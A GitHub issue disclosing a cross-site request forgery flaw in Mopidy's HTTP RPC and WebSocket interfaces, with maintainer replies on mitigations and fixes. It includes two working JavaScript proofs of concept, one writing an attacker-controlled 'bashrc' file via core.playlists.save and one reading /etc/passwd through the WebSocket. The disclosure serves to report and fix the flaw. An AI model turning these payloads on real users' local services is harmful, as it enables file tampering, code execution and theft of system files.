Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

The RPC interface is not protected against CSRF #1659

Closed
atx opened this issue Feb 10, 2018 · 3 comments

Comments

3 participants
@atx
Copy link

commented Feb 10, 2018

I noticed that the Mopidy HTTP RPC interface is not protected against CSRF.
A malicious website can therefore make arbitrary RPC calls.

This can be used, for instance, with the core.playlists.save method to write
a file with reasonably flexible attacker provided content to any local path.

var xhr = new XMLHttpRequest();
xhr.open("POST", "http://127.0.0.1:6680/mopidy/rpc");

var content = {
  "__model__": "Playlist",
  "last_modified": 0,
  "name": "evil_bashrc",
  "tracks": [
    {
      "__model__": "Track",
      "name": "\necho Hi!\n",
      "uri": "file:///doesnt/mater"
    }
  ],
  "uri": "m3u:///home/user/evil_bashrc"
};

var rpc = {
  "method": "core.playlists.save",
  "params": [content],
  "jsonrpc": "2.0",
  "id": 1,
};

xhr.send(JSON.stringify(rpc));

The websocket interface is also unprotected, which makes retrieving call
results easy (though otherwise it should still be possible to use DNS rebinding).
This can be used to retrieve almost arbitrary text-based files using the
core.playlists.get_items method.

Just binding to localhost simply isn't sufficient, as any visited website
is completely free to send POST requests/make websocket connections to a localhost
URL.

An example reading /etc/passwd follows (full version hosted on http://arya.atx.name/mopidy.html).

var ws = new WebSocket("ws://127.0.0.1:6680/mopidy/ws");

ws.onopen = function() {
  var msg = {
    method: "core.playlists.get_items",
    params: ["m3u:///etc/passwd"],
    jsonrpc: "2.0",
    id: 1
  }
  ws.send(JSON.stringify(msg));
}

ws.onmessage = function(ev) {
  console.log(ev.data);
}

Some recent related reading:

spesmilo/electrum#3374
http://www.christian-schneider.net/CrossSiteWebSocketHijacking.html
transmission/transmission#468

Bonus observation:
The MPD-compatible interface does not seem to filter HTTP requests. This could also be problematic, but I haven't had time to look into it. Related reading:

https://bouk.co/blog/hacking-developers/
https://sourceforge.net/p/openocd/mailman/openocd-devel/thread/270e864949d7dcbac4695d42d2b9bba5%40atx.name/#msg36188041

(MPD itself kills the connection on encountering the ':' in "Host: ...")

Note: I originally sent this a few weeks ago as an email to a bunch of people from the Mopidy org., but received no reply (likely got spamfiltered, Google seems to hate me)

kingosticks referenced this issue Feb 12, 2018

http: Allow WebSocket requests from other hosts
This makes Tornado 4.0 behavior consistent with previous Tornado versions.

Fixes #788
@adamcik

This comment has been minimized.

Copy link
Member

commented Feb 12, 2018

Thank you for raising this issue and for trying to reach out to Mopidy developers before creating this issue. It's clear we need to create a procedure for how to contact us regarding potential security issues.

As for the issues raised, there are a number of separate issues to follow up on here (we'll be filing additional issues as needed).

  • M3U backend's arbitrary file access is a bug, and needs to be fixed as soon as possible.
  • WebSocket and HTTP API endpoints need to do origin checks as a minimum.
  • Cross-site request forgery protection will not happen short term without contributions.
  • Sending HTTP to MPD should be followed up further.

For anyone following along, to mitigate the M3U backend issue we suggest disabling it (set the m3u/enabled config value to false in your Mopidy configuration). Likewise, if you don't use Mopidy’s HTTP server, it can safely be disabled (set http/enabled to false) to disable the WebSocket and HTTP API endpoints.

@jodal

This comment has been minimized.

Copy link
Member

commented Apr 15, 2018

With the merge of PR #1668 the CSRF attack vector on the RPC and WebSocket API should be fixed.

Remaining here then is:

  • M3U backend's arbitrary file access
  • MPD frontend not rejecting HTTP requests early
@jodal

This comment has been minimized.

Copy link
Member

commented Jun 12, 2018

I've filed a separate issue, #1684, for the MPD part, as we won't tackle that right away.

jodal added a commit to jodal/mopidy that referenced this issue Sep 17, 2018

jodal added a commit to jodal/mopidy that referenced this issue Sep 17, 2018

jodal added a commit to jodal/mopidy that referenced this issue Sep 17, 2018

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
You can’t perform that action at this time.